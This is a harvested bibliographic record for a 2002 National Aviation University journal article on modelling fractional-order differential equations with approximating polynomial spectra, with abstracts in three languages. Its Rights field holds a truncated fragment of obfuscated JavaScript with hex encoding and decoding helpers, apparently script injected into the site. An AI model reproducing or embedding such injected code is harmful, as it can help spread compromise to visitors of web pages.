NAU Harvester System
Математическое моделирование дифференциальных уравнений методом аппроксимирующих полиномиальных спектров
Наукові журнали Національного Авіаційного Університету
View Archive Info| Field | Value | |
| Title |
Математическое моделирование дифференциальных уравнений методом аппроксимирующих полиномиальных спектров
MATHEMATICAL MODELING OF DIFFERENTIAL EQUATIONS BY THE APPROXIMATING POLYNOMIAL SPECTRUM METHOD МАТЕМАТИЧНЕ МОДЕЛЮВАННЯ ДИФЕРЕНЦІАЛЬНИХ РІВНЯНЬ МЕТОДОМ АПРОКСИМУЮЧИХ ПОЛІНОМІАЛЬНИХ СПЕКТРІВ |
|
| Creator |
Васильєв, В. В.; Національний авіаційний університет
Сімак, Л. О.; Національний авіаційний університет Воронова, О. С.; Національний авіаційний університет |
|
| Subject |
—
— 621.372.061 — — 621.372.061 — — 621.372.061 |
|
| Description |
Предложено операционный метод решения вязания интегро-дифференциальных уравнений в общем случае нецелого порядка, основанный на изображении сигнаиив аппроксимирующими полиномиальными спектрами. Рассмотрено применение этого метода к решению "связи дифференциальных уравнений нецелого порядка, уравнений с переменными коэффициентами и систем линейных дифференциальных уравнений. Приведены иллюстративные примеры моделирования дифференциальных уравнений в среде системы Mathematica®.
An operational method for solving integro-differential equations in the general case of non-integer order based on the representation of signals by approximating polynomial spectra is proposed. The application of this method to the solution of differential equations of non-integer order, equations with variable coefficients and systems of linear differential equations is considered. Illustrative examples of modeling of differential equations in the environment of the Mathematica® system are given. Запропоновано операційний метод розв 'язання інтегро-диференціальних рівнянь у загальному випадку нецілого порядку, заснований на зображенні сигнаїів апроксимуючими поліноміальними спектрами. Розглянуто застосування цього методу до розв 'язку диференціальних рівнянь нецілого порядку, рівнянь зі змінними коефіцієнтами та систем лінійних диференціальних рівнянь. Наведено ілюстративні приклади моделювання диференціальних рівнянь у середовищі системи Mathematica®. |
|
| Publisher |
National Aviation University
|
|
| Contributor |
—
— — |
|
| Date |
2021-03-15
|
|
| Type |
—
— — |
|
| Format |
application/pdf
application/pdf application/pdf |
|
| Identifier |
http://jrnl.nau.edu.ua/index.php/visnik/article/view/15238
10.18372/2306-1472.14.15238 |
|
| Source |
Proceedings of the National Aviation University; Том 14, № 3 (2002); 218-226
Вестник Национального авиационного университета; Том 14, № 3 (2002); 218-226 Вісник Національного Авіаційного Університету; Том 14, № 3 (2002); 218-226 |
|
| Language |
uk
|
|
| Rights |
// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "jrnl.nau.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e
Автори, які публікуються у цьому журналі, погоджуються з такими умовами:Автори залишають за собою право на авторство своєї роботи та передають журналу право першої публікації цієї роботи на умовах ліцензії Creative Commons Attribution License, котра дозволяє іншим особам вільно розповсюджувати опубліковану роботу з обов'язковим посиланням на авторів оригінальної роботи та першу публікацію роботи у цьому журналі.Автори мають право укладати самостійні додаткові угоди щодо неексклюзивного розповсюдження роботи у тому вигляді, в якому вона була опублікована цим журналом (наприклад, розміщувати роботу в електронному сховищі установи або публікувати у складі монографії), за умови збереження посилання на першу публікацію роботи у цьому журналі.Політика журналу дозволяє і заохочує розміщення авторами в мережі Інтернет (наприклад, у сховищах установ або на особистих веб-сайтах) рукопису роботи, як до подання цього рукопису до редакції, так і під час його редакційного опрацювання, оскільки це сприяє виникненню продуктивної наукової дискусії та позитивно позначається на оперативності та динаміці цитування опублікованої роботи (див. The Effect of Open Access). |
|